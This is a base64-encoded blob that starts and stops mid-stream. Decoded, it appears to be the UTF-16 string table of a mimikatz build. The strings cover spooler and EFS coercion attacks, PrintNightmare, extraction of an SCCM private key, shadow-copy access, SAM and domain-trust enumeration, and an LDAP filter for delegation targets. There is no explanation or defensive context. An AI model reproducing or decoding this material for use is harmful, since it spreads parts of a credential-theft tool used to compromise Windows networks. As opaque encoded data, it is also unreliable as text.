AbgA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAHAAbwBvAGwAZQByACAAOwAgAFIAcABjAEUAcABSAGUAcwBvAGwAdgBlAEIAaQBuAGQAaQBuAGcAOgAgADAAeAAlADAAOAB4AAoAAAAAAFsAdAByAGEAbgBzAF0AIABEAGkAcwBjAG8AbgBuAGUAYwB0ACAASQBQAEMAOgAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAHAAbwBvAGwAZQByACAAOwAgAFcATgBlAHQAQwBhAG4AYwBlAGwAQwBvAG4AbgBlAGMAdABpAG8AbgAyADoAIAAwAHgAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAHAAbwBvAGwAZQByACAAOwAgAFcATgBlAHQAQQBkAGQAQwBvAG4AbgBlAGMAdABpAG8AbgAyADoAJQB1AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAcABvAG8AbABlAHIAIAA7ACAAVwBOAGUAdABDAGEAbgBjAGUAbABDAG8AbgBuAGUAYwB0AGkAbwBuADIAOgAgACUAdQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAHAAbwBvAGwAZQByACAAOwAgAG0AaQBzAHMAaQBuAGcAIAAvAGMAbwBuAG4AZQBjAHQAIABhAHIAZwB1AG0AZQBuAHQAIAB0AG8AIABzAHAAZQBjAGkAZgB5ACAAbgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAgAHQAYQByAGcAZQB0AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAcABvAG8AbABlAHIAIAA7ACAAbQBpAHMAcwBpAG4AZwAgAC8AcwBlAHIAdgBlAHIAIABhAHIAZwB1AG0AZQBuAHQAIAB0AG8AIABzAHAAZQBjAGkAZgB5ACAAcwBwAG8AbwBsAGUAcgAgAHMAZQByAHYAZQByAAAAAABcAHAAaQBwAGUAXABsAHMAYQByAHAAYwAAAAAAXABcACUAcwBcAG0AaQBtAGkAawBhAHQAegBcAG0AaQBtAGkAawBhAHQAegAAAAAAaABvAHMAdAAAAAAAUgBlAG0AbwB0AGUAIABzAGUAcgB2AGUAcgAgAHIAZQBwAG8AcgB0AGUAZAAgAGIAYQBkACAAbgBlAHQAdwBvAHIAawAgAHAAYQB0AGgAIQAgACgATwBLACkACgA+ACAAUwBlAHIAdgBlAHIAIAAoACUAcwApACAAbQBhAHkAIABoAGEAdgBlACAAdAByAGkAZQBkACAAdABvACAAYQB1AHQAaABlAG4AdABpAGMAYQB0AGUAIAAoAHQAbwA6ACAAJQBzACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGUAZgBzACAAOwAgAEUAZgBzAFIAcABjAE8AcABlAG4ARgBpAGwAZQBSAGEAdwAgAGkAcwAgAGEAIABzAHUAYwBjAGUAcwBzACwAIAByAGUAYQBsAGwAeQA/ACAAKABuAG8AdAAgAG4AbwByAG0AYQBsACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBlAGYAcwAgADsAIABFAGYAcwBSAHAAYwBPAHAAZQBuAEYAaQBsAGUAUgBhAHcAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AZQBmAHMAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBlAGYAcwAgADsAIABSAHAAYwBFAHAAUgBlAHMAbwBsAHYAZQBCAGkAbgBkAGkAbgBnADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AZQBmAHMAIAA7ACAAVwBOAGUAdABDAGEAbgBjAGUAbABDAG8AbgBuAGUAYwB0AGkAbwBuADIAOgAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGUAZgBzACAAOwAgAFcATgBlAHQAQQBkAGQAQwBvAG4AbgBlAGMAdABpAG8AbgAyADoAJQB1AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGUAZgBzACAAOwAgAFcATgBlAHQAQwBhAG4AYwBlAGwAQwBvAG4AbgBlAGMAdABpAG8AbgAyADoAIAAlAHUACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AZQBmAHMAIAA7ACAAbQBpAHMAcwBpAG4AZwAgAC8AYwBvAG4AbgBlAGMAdAAgAGEAcgBnAHUAbQBlAG4AdAAgAHQAbwAgAHMAcABlAGMAaQBmAHkAIABuAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACAAdABhAHIAZwBlAHQAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AZQBmAHMAIAA7ACAAbQBpAHMAcwBpAG4AZwAgAC8AcwBlAHIAdgBlAHIAIABhAHIAZwB1AG0AZQBuAHQAIAB0AG8AIABzAHAAZQBjAGkAZgB5ACAAcwBwAG8AbwBsAGUAcgAgAHMAZQByAHYAZQByAAAAAABbAG0AcwAtAHAAYQByAC8AbgBjAGEAYwBuAF8AaQBwAF8AdABjAHAAXQAgAHIAZQBtAG8AdABlADoAIAAlAHMACgAAAG4AYwBhAGwAcgBwAGMAAABzAHAAbwBvAGwAcwBzAAAAWwBtAHMALQByAHAAcgBuAC8AbgBjAGEAbAByAHAAYwBdACAAbABvAGMAYQBsAAoAAAAAAHgANgA0AAAAdwBpAG4ANgA0AAAAeAA4ADYAAAB3AGkAbgAzADIAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBwAHIAaQBuAHQAbgBpAGcAaAB0AG0AYQByAGUAIAA7ACAAUgBwAGMAQgBpAG4AZABpAG4AZwBTAGUAdABPAGIAagBlAGMAdAA6ACAAMAB4ACU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AUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGMAYwBtAF8AYQBjAGMAbwB1AG4AdABzACAAOwAgAFMAUQBMAEcAZQB0AEQAYQB0AGEAKABVAHMAZQByAE4AYQBtAGUAKQA6ACAAJQB1ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGMAYwBtAF8AYQBjAGMAbwB1AG4AdABzACAAOwAgAFMAUQBMAEcAZQB0AEQAYQB0AGEAKABTAGkAdABlAE4AdQBtAGIAZQByACkAOgAgACUAdQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABbAEMAUgBZAFAAVABPAF0AIABSAGUAbABlAGEAcwBpAG4AZwAgAGwAbwBjAGEAbAAgAFMAQwBDAE0AIABSAFMAQQAgAFAAcgBpAHYAYQB0AGUAIABLAGUAeQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGMAYwBtAF8AYQBjAGMAbwB1AG4AdABzACAAOwAgAEMAcgB5AHAAdABBAGMAcQB1AGkAcgBlAEMAbwBuAHQAZQB4AHQAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAYwBjAG0AXwBhAGMAYwBvAHUAbgB0AHMAIAA7ACAAUwBRAEwARQB4AGUAYwBEAGkAcgBlAGMAdAA6ACAAJQB1ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBjAGMAbQBfAGEAYwBjAG8AdQBuAHQAcwAgADsAIABTAFEATABEAHIAaQB2AGUAcgBDAG8AbgBuAGUAYwB0ADoAIAAlAHUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAYwBjAG0AXwBhAGMAYwBvAHUAbgB0AHMAIAA7ACAALwBjAG8AbgBuAGUAYwB0AGkAbwBuAHMAdAByAGkAbgBnACAAaQBzACAAbgBlAGUAZABlAGQALAAgAGUAeABhAG0AcABsAGUAOgAgAC8AYwBvAG4AbgBlAGMAdABpAG8AbgBzAHQAcgBpAG4AZwA6ACIARABSAEkAVgBFAFIAPQB7AFMAUQBMACAAUwBlAHIAdgBlAHIAfQA7AFQAcgB1AHMAdABlAGQAPQB0AHIAdQBlADsARABBAFQAQQBCAEEAUwBFAD0AQwBNAF8AUABSAEQAOwBTAEUAUgBWAEUAUgA9AG0AeQBzAGUAcgB2AGUAcgAuAGYAcQBkAG4AXABpAG4AcwB0AGEAbgBjAGUAbgBhAG0AZQA7ACIACgAAAAAASABhAHIAZABkAGkAcwBrAFYAbwBsAHUAbQBlAFMAaABhAGQAbwB3AEMAbwBwAHkAAAAAAFwAXAA/AFwARwBMAE8AQgBBAEwAUgBPAE8AVABcAEQAZQB2AGkAYwBlAFwAJQBzAFwAAAAKAFMAaABhAGQAbwB3AEMAbwBwAHkAIABWAG8AbAB1AG0AZQAgADoAIAAlAHMACgAAAAAAfAAgAFAAYQB0AGgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAfAAgAFYAbwBsAHUAbQBlACAATABhAHMAdABXAHIAaQB0AGUAOgAgAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBoAGEAZABvAHcAYwBvAHAAaQBlAHMAIAA7ACAARwBlAHQARgBpAGwAZQBBAHQAdAByAGkAYgB1AHQAZQBzAEUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAlAHMAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGMAbwBuAGYAaQBnAFwAJQBzAAAAAAAqACAAJQBzAAoAAAAgACAAfAAgAEwAYQBzAHQAVwByAGkAdABlACAAIAAgADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBoAGEAZABvAHcAYwBvAHAAaQBlAHMAIAA7ACAATgB0AFEAdQBlAHIAeQBEAGkAcgBlAGMAdABvAHIAeQBPAGIAagBlAGMAdAA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAaABhAGQAbwB3AGMAbwBwAGkAZQBzACAAOwAgAE4AdABPAHAAZQBuAEQAaQByAGUAYwB0AG8AcgB5AE8AYgBqAGUAYwB0ADoAIAAwAHgAJQAwADgAeAAKAAAAYQBsAGkAYQBzAAAAdwBzAGUAcwBzAGkAbwBuAAAAAAB0AG8AZAAAAHMAdABhAHQAcwAAAHMAaABhAHIAZQAAAHMAZQByAHYAZQByAGkAbgBmAG8AAAAAAGQAZQBsAGUAZwAAAGkAZgAAAAAAbgBlAHQAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATwBwAGUAbgBEAG8AbQBhAGkAbgAgAEIAdQBpAGwAdABpAG4AIAAoAD8AKQAgACUAMAA4AHgACgAAAAoARABvAG0AYQBpAG4AIABuAGEAbQBlACAAOgAgACUAdwBaAAAAAAAKAEQAbwBtAGEAaQBuACAAUwBJAEQAIAAgADoAIAAAAAoAIAAlAC0ANQB1ACAAJQB3AFoAAAAAAAoAIAB8ACAAJQAtADUAdQAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEcAZQB0AEcAcgBvAHUAcABzAEYAbwByAFUAcwBlAHIAIAAlADAAOAB4AAAAAAAKACAAfABgACUALQA1AHUAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEcAZQB0AEEAbABpAGEAcwBNAGUAbQBiAGUAcgBzAGgAaQBwACAAJQAwADgAeAAAAAAACgAgAHwAtAAlAC0ANQB1ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0AUgBpAGQAVABvAFMAaQBkACAAJQAwADgAeAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgAgACUAMAA4AHgAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBVAHMAZQByAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATwBwAGUAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAEQAbwBtAGEAaQBuAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgAgACUAMAA4AHgAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBEAG8AbQBhAGkAbgBzAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEMAbwBuAG4AZQBjAHQAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AZwByAG8AdQBwACAAOwAgAFMAYQBtAEcAZQB0AE0AZQBtAGIAZQByAHMASQBuAEEAbABpAGEAcwAgACUAMAA4AHgAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwBnAHIAbwB1AHAAIAA7ACAAUwBhAG0ATwBwAGUAbgBHAHIAbwB1AHAAIAAlADAAOAB4AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AZwByAG8AdQBwACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAEcAcgBvAHUAcABzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AZwByAG8AdQBwACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAGcAcgBvAHUAcAAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABEAG8AbQBhAGkAbgBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAIAAlADAAOAB4AAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAGcAcgBvAHUAcAAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBEAG8AbQBhAGkAbgBzAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AZwByAG8AdQBwACAAOwAgAFMAYQBtAEMAbwBuAG4AZQBjAHQAIAAlADAAOAB4AAoAAAAKACAAfAAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AYQBsAGkAYQBzACAAOwAgAFMAYQBtAEcAZQB0AE0AZQBtAGIAZQByAHMASQBuAEEAbABpAGEAcwAgACUAMAA4AHgAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwBhAGwAaQBhAHMAIAA7ACAAUwBhAG0ATwBwAGUAbgBBAGwAaQBhAHMAIAAlADAAOAB4AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AYQBsAGkAYQBzACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAEEAbABpAGEAcwBlAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AYQBsAGkAYQBzACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAGEAbABpAGEAcwAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABEAG8AbQBhAGkAbgBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAIAAlADAAOAB4AAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAGEAbABpAGEAcwAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBEAG8AbQBhAGkAbgBzAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AYQBsAGkAYQBzACAAOwAgAFMAYQBtAEMAbwBuAG4AZQBjAHQAIAAlADAAOAB4AAoAAAAlAHcAWgAJACgAJQBzACkAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwBzAGkAbQBwAGwAZQBMAG8AbwBrAHUAcAAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABJAGQAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAAAAAAoAQwBsAGkAZQBuAHQAIAAgADoAIAAlAHMACgBVAHMAZQByAG4AYQBtAGUAOgAgACUAcwAKAEEAYwB0AGkAdgBlACAAIAA6ACAAJQB1AAoASQBkAGwAZQAgACAAIAAgADoAIAAlAHUACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AcwBlAHMAcwBpAG8AbgAgADsAIABOAGUAdABTAGUAcwBzAGkAbwBuAEUAbgB1AG0AOgAgACUAMAA4AHgACgAAAAAAAAAAAAoAVQBzAGUAcgBuAGEAbQBlACAAIAAgADoAIAAlAHMACgBEAG8AbQBhAGkAbgAgACAAIAAgACAAOgAgACUAcwAKAEwAbwBnAG8AbgBTAGUAcgB2AGUAcgA6ACAAJQBzAAoAAABPAHQAaABEAG8AbQBhAGkAbgBzACAAOgAgACUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdwBzAGUAcwBzAGkAbwBuACAAOwAgAE4AZQB0AFcAawBzAHQAYQBVAHMAZQByAEUAbgB1AG0AOgAgACUAMAA4AHgACgAAAFIAZQBtAG8AdABlACAAdABpAG0AZQAgACgAbABvAGMAYQBsACkAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB0AG8AZAAgADsAIABOAGUAdABSAGUAbQBvAHQAZQBUAE8ARAA6ACAAJQAwADgAeAAKAAAAAABMAGEAbgBtAGEAbgBXAG8AcgBrAHMAdABhAHQAaQBvAG4AAAAAAAAATABhAG4AbQBhAG4AVwBvAHIAawBzAHQAYQB0AGkAbwBuACAAUwB0AGEAdABpAHMAdABpAGMAcwBTAHQAYQByAHQAVABpAG0AZQA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AcwB0AGEAdABzACAAOwAgAE4AZQB0AFMAdABhAHQAaQBzAHQAaQBjAHMARwBlAHQAOgAgACUAMAA4AHgACgAAAAAAZABpAHMAawB0AHIAZQBlACAAOwAgAAAAcAByAGkAbgB0AHEAIAA7ACAAAABkAGUAdgBpAGMAZQAgADsAIAAAAGkAcABjACAAOwAgAAAAAAB0AGUAbQBwAG8AcgBhAHIAeQAgADsAIAAAAAAAcwBwAGUAYwBpAGEAbAAgADsAIAAAAAAAcgBlAHMAZQByAHYAZQBkACAAZgBsAGEAZwAoAHMAKQAgADsAIAAAAAoATgBlAHQAbgBhAG0AZQAgADoAIAAlAHMACgBUAHkAcABlACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAAABVAHMAZQBzACAAIAAgACAAOgAgACUAdQAvACUAdQAKAFAAYQB0AGgAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHMAaABhAHIAZQAgADsAIABOAGUAdABTAGgAYQByAGUARQBuAHUAbQA6ACAAJQAwADgAeAAKAAAAAAB3AG8AcgBrAHMAdABhAHQAaQBvAG4AAABzAHEAbABzAGUAcgB2AGUAcgAAAGQAbwBtAGEAaQBuAF8AYwB0AHIAbAAAAGQAbwBtAGEAaQBuAF8AYgBhAGsAYwB0AHIAbAAAAAAAdABpAG0AZQBfAHMAbwB1AHIAYwBlAAAAYQBmAHAAAABuAG8AdgBlAGwATAAAAAAAZABvAG0AYQBpAG4AXwBtAGUAbQBiAGUAcgAAAHAAcgBpAG4AdABxAF8AcwBlAHIAdgBlAHIAAABkAGkAYQBsAGkAbgBfAHMAZQByAHYAZQByAAAAcwBlAHIAdgBlAHIAXwB1AG4AaQB4AAAAbgB0AAAAAAB3AGYAdwAAAHMAZQByAHYAZQByAF8AbQBmAHAAbgAAAHMAZQByAHYAZQByAF8AbgB0AAAAcABvAHQAZQBuAHQAaQBhAGwAXwBiAHIAbwB3AHMAZQByAAAAYgBhAGMAawB1AHAAXwBiAHIAbwB3AHMAZQByAAAAAABtAGEAcwB0AGUAcgBfAGIAcgBvAHcAcwBlAHIAAAAAAGQAbwBtAGEAaQBuAF8AbQBhAHMAdABlAHIAAABzAGUAcgB2AGUAcgBfAG8AcwBmAAAAAABzAGUAcgB2AGUAcgBfAHYAbQBzAAAAAAB3AGkAbgBkAG8AdwBzAAAAZABmAHMAAABjAGwAdQBzAHQAZQByAF8AbgB0AAAAAAB0AGUAcgBtAGkAbgBhAGwAcwBlAHIAdgBlAHIAAAAAAGMAbAB1AHMAdABlAHIAXwB2AHMAXwBuAHQAAAAwAHgAMAA4ADAAMAAwADAAMAAwACAAPwAAAAAAZABjAGUAAABhAGwAdABlAHIAbgBhAHQAZQBfAHgAcABvAHIAdAAAAGwAbwBjAGEAbABfAGwAaQBzAHQAXwBvAG4AbAB5AAAAZABvAG0AYQBpAG4AXwBlAG4AdQBtAAAAcABsAGEAdABmAG8AcgBtAF8AaQBkADoAIAAlAHUACgBuAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAcwAKAHYAZQByAHMAaQBvAG4AIAAgACAAIAA6ACAAJQB1AC4AJQB1AAoAYwBvAG0AbQBlAG4AdAAgACAAIAAgADoAIAAlAHMACgB0AHkAcABlACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AcwBlAHIAdgBlAHIAaQBuAGYAbwAgADsAIABOAGUAdABTAGUAcgB2AGUAcgBHAGUAdABJAG4AZgBvADoAIAAlADAAOAB4AAoAAABJAE4AXwBGAE8AUgBFAFMAVAAAAEQASQBSAEUAQwBUAF8ATwBVAFQAQgBPAFUATgBEAAAAVABSAEUARQBfAFIATwBPAFQAAABQAFIASQBNAEEAUgBZAAAATgBBAFQASQBWAEUAXwBNAE8ARABFAAAARABJAFIARQBDAFQAXwBJAE4AQgBPAFUATgBEAAAAAABOAE8ATgBfAFQAUgBBAE4AUwBJAFQASQBWAEUAAAAAAFUAUABMAEUAVgBFAEwAXwBPAE4ATABZAAAAAABGAEkATABUAEUAUgBfAFMASQBEAFMALwBRAFUAQQBSAEEATgBUAEkATgBFAEQAXwBEAE8ATQBBAEkATgAAAAAARgBPAFIARQBTAFQAXwBUAFIAQQBOAFMASQBUAEkAVgBFAAAAQwBSAE8AUwBTAF8ATwBSAEcAQQBOAEkAWgBBAFQASQBPAE4AAAAAAFcASQBUAEgASQBOAF8ARgBPAFIARQBTAFQAAABUAFIARQBBAFQAXwBBAFMAXwBFAFgAVABFAFIATgBBAEwAAABUAFIAVQBTAFQAXwBVAFMARQBTAF8AUgBDADQAXwBFAE4AQwBSAFkAUABUAEkATwBOAAAAVABSAFUAUwBUAF8AVQBTAEUAUwBfAEEARQBTAF8ASwBFAFkAUwAAAFQAUgBFAEUAXwBQAEEAUgBFAE4AVAAAAEQASQBTAEEAQgBMAEUARAAAAAAASQBOAEIATwBVAE4ARAAAAE8AVQBUAEIATwBVAE4ARAAAAAAAQgBJAEQASQBSAEUAQwBUAEkATwBOAEEATAAAAHQAcgB1AHMAdABQAGEAcgB0AG4AZQByAAAAAABmAGwAYQB0AE4AYQBtAGUAAAAAAHQAcgB1AHMAdABBAHQAdAByAGkAYgB1AHQAZQBzAAAAdAByAHUAcwB0AEQAaQByAGUAYwB0AGkAbwBuAAAAAAB0AHIAdQBzAHQAVAB5AHAAZQAAAG8AYgBqAGUAYwB0AEcAVQBJAEQAAAAAAFIAUABDACAAbQBvAGQAZQA6ACAAAAAAAAoAWwAlADIAdQBdACAATgBlAHQAYgBpAG8AcwAgACAAIAA6ACAAJQBzAAoAIAAgACAAIAAgAEQATgBTACAAIAAgACAAIAAgACAAOgAgACUAcwAKACAAIAAgACAAIABGAGwAYQBnAHMAIAAgACAAIAAgADoAIAAwAHgAJQAwADgAeAAgACgAIAAAAAAAIAAgACAAIAAgAFAAYQByAGUAbgB0ACAAIAAgACAAOgAgAFsAJQAyAHUAXQAgACUAcwAKAAAAAAAgACAAIAAgACAAVAB5AHAAZQAgACAAIAAgACAAIAA6ACAAMAB4ACUAMAA4AHgAIAAtACAAAAAAAEQATwBXAE4ATABFAFYARQBMACAAKABEAEMAIAA8ACAAMgAwADAAMAApAAoAAAAAAFUAUABMAEUAVgBFAEwAIAAoAEQAQwAgAD4APQAgADIAMAAwADAAKQAKAAAATQBJAFQAIABLAGUAcgBiAGUAcgBvAHMAIAByAGUAYQBsAG0ACgAAAEQAQwBFACAAcgBlAGEAbABtAAoAAAAAAHIAZQBzAGUAcgB2AGUAZAAgAGYAbwByACAAZgB1AHQAdQByAGUAIAB1AHMAZQAKAAAAAABwAHIAbwB2AGkAZABlAHIAIABzAHAAZQBjAGkAZgBpAGMAIAB0AHIAdQBzAHQAIABsAGUAdgBlAGwACgAAAAAAIAAgACAAIAAgAEEAdAB0AHIAaQBiAHUAdABlAHMAOgAgADAAeAAlADAAOAB4ACAAKAAgAAAAAAApAAoAIAAgACAAIAAgAFMASQBEACAAIAAgACAAIAAgACAAOgAgAAAACgAgACAAIAAgACAARwBVAEkARAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdAByAHUAcwB0ACAAOwAgAEQAcwBFAG4AdQBtAGUAcgBhAHQAZQBEAG8AbQBhAGkAbgBUAHIAdQBzAHQAcwA6ACAAJQB1AAoAAAAKAAoATABEAEEAUAAgAG0AbwBkAGUAOgAgAAAAZABlAGYAYQB1AGwAdABOAGEAbQBpAG4AZwBDAG8AbgB0AGUAeAB0AAAAAABDAE4APQBTAHkAcwB0AGUAbQAsACUAcwAAAAAAKABvAGIAagBlAGMAdABDAGwAYQBzAHMAPQB0AHIAdQBzAHQAZQBkAEQAbwBtAGEAaQBuACkAAAAlAHUAIABlAG4AdAByAGkAZQBzAAoAAAAKACUAcwAKAAAAAAAgACAAJQBzADoAIAAAAAAAJQAqAFMACgAAAAAAMAB4ACUAMAA4AHgAIAAtACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHQAcgB1AHMAdAAgADsAIABsAGQAYQBwAF8AcwBlAGEAcgBjAGgAXwBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAHUAcwBlAHIAUAByAGkAbgBjAGkAcABhAGwATgBhAG0AZQAAAHMAQQBNAEEAYwBjAG8AdQBuAHQATgBhAG0AZQAAAAAAdQBzAGUAcgBBAGMAYwBvAHUAbgB0AEMAbwBuAHQAcgBvAGwAAAAAAHMAZQByAHYAaQBjAGUAUAByAGkAbgBjAGkAcABhAGwATgBhAG0AZQAAAAAAbQBzAEQAUwAtAEEAbABsAG8AdwBlAGQAVABvAEQAZQBsAGUAZwBhAHQAZQBUAG8AAAAAAG0AcwBEAFMALQBBAGwAbABvAHcAZQBkAFQAbwBBAGMAdABPAG4AQgBlAGgAYQBsAGYATwBmAE8AdABoAGUAcgBJAGQAZQBuAHQAaQB0AHkAAAAAAG8AYgBqAGUAYwB0AFMAaQBkAAAAKAAmACgAcwBlAHIAdgBpAGMAZQBQAHIAaQBuAGMAaQBwAGEAbABuAGEAbQBlAD0AKgApACgAfAAoAG0AcwBEAFMALQBBAGw